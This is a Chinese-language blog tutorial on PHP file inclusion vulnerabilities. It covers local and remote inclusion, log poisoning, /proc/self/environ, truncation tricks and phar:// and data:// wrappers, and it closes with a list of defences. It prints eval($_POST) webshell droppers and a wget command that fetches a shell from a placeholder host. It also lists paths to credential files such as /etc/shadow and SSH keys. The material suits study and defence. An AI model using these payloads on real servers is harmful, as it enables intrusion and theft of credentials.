文件包含漏洞总结

一时失言乱红尘 2022-11-16 05:46 295阅读 0赞

文章目录

  • 前言
  • php文件包含漏洞
    • 1.本地文件包含
    • 2.远程文件包含
    • 3.本地包含配合apache日志拿shell
    • 4.利用/proc/self/environ进行包含
      1. 截断包含
      • 1.使用%00截断(php<5.3.4)
      • 2.使用长目录截断(php<5.2.8)
      1. 利用php协议进行包含
    • 特殊姿势:利用phar伪协议
  • 防御
  • 参考文章

前言

主要有远程文件包含与本地文件包含。

php文件包含漏洞

可导致文件包含的函数:

  1. include() #无论被包含的文件是什么,都会把被包含的文件内容当php代码执行。
  2. include_once() #同include(),区别是如果文件已被包含则不会被二次包含。
  3. require() #include require 除了处理错误的方式不同之外,在其他方面都是相同的:
  4. require_once() # 同上

1.本地文件包含

包含一个本地计算机上的文件,并将被包含文件的内容当作php代码执行。

利用点:
1.读取本地的敏感文件。
2.配合文件上传获取webshell:
上传一个图片木马a.jpg,内容为:

  1. <?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

敏感文件位置:

  1. 1Windows
  2. C:boot.ini //查看系统版本
  3. C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
  4. C:Windowsrepairsam //存储系统初次安装的密码
  5. C:Program Filesmysqlmy.ini //Mysql配置
  6. C:Program Filesmysqldatamysqluser.MYD //Mysql root
  7. C:Windowsphp.ini //php配置信息
  8. C:Windowsmy.ini //Mysql配置信息
  9. ...
  10. 2Linux
  11. /root/.ssh/authorized_keys
  12. /root/.ssh/id_rsa
  13. /root/.ssh/id_ras.keystore
  14. /root/.ssh/known_hosts
  15. /etc/passwd
  16. /etc/shadow
  17. /etc/my.cnf
  18. /etc/httpd/conf/httpd.conf
  19. /root/.bash_history
  20. /root/.mysql_history
  21. /proc/self/fd/fd[0-9]*(文件标识符)
  22. /proc/mounts
  23. /porc/config.gz

2.远程文件包含

包含一个远程计算机上的文件,并将被包含文件的内容当作php代码执行。条件是php必须开启allow_url_fopen

利用点:
在远程主机上创建文件,内容如下,拿webshell:

  1. <?fputs(fopen("shell.php","w"),"<?php eval($_POST[pwd]);?>")?>

如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php,内容为`<?php eval($_POST[pwd]);?>`。

3.本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

4.利用/proc/self/environ进行包含

找到/proc/self/environ的绝对路径并访问,如果找到后,那我们就可以通过修改user-agent来进行php代码命令执行。

假设我们找到了绝对路径:

  1. www.test.com/index.php?page=../../../../../proc/self/environ

选择User-Agent 写代码如下(选择一条去写):

  1. <?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
  2. <?fputs(fopen("shell.php","w"),"<?php eval($_POST[pwd]);?>")?>

5. 截断包含

1.使用%00截断(php<5.3.4)

有些开发者为了防止本地包含漏洞,会编写一下代码:

  1. <?php
  2. Include $_GET['page'].".php"
  3. ?>

创建恶意文件,命名为1.jpg,我们如果访问www.test.com/1.jpg,其实访问的是1.jpg.php,然而并没有这个文件,这时候我们使用www.test.com/1.jpg%00即可截断后面的.php,从而执行了我们的恶意代码。

2.使用长目录截断(php<5.2.8)

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

  1. ././././././././././././././etc/passwd
  2. 或者
  3. etc/passwd
  4. 或者
  5. ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

6. 利用php协议进行包含

data:  php5.2以后版本
php://input
需要开启allow_url_include
poc:

  1. http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

特殊姿势:利用phar伪协议

1.先上传一个php文件,内容如下:

  1. <?php
  2. include 'phar://test.zip/test.txt';
  3. ?>

2.创建一个txt文件并打包成,命名为test.zip,txt内容为webshell:

  1. <?php eval($_POST[pwd]);?>

3.链接webshell即可上线。


include.php代码:

  1. <?php
  2. $file = $_GET['file'];
  3. include($file.'.jpg');
  4. ?>

创建一个1.jpg内容为:

  1. <?php
  2. phpinfo();
  3. ?>

使用zip命令压缩1.jpg:

  1. zip 1.zip 1.jpg

通过phar协议进行文件包含:
在这里插入图片描述

防御

1、无需情况下设置allow_url_include和allow_url_fopen为关闭

2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir

3、尽量不使用动态包含

4、严格检查变量是否已经初始化。

5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。

6、严格检查include类的文件包含函数中的参数是否外界可控。

7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

8、在发布应用程序之前测试所有已知的威胁。

9、禁用不必要的php伪协议

参考文章

文件包含漏洞(绕过姿势)
常见文件包含发生场景与防御

发表评论

表情:
评论列表 (有 0 条评论,295人围观)

还没有评论,来说两句吧...

相关阅读

    相关 本地文件包含漏洞详解

    0x00:漏洞定义 在通过服务器脚本的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露、恶意代码的注入等。 文件包含分为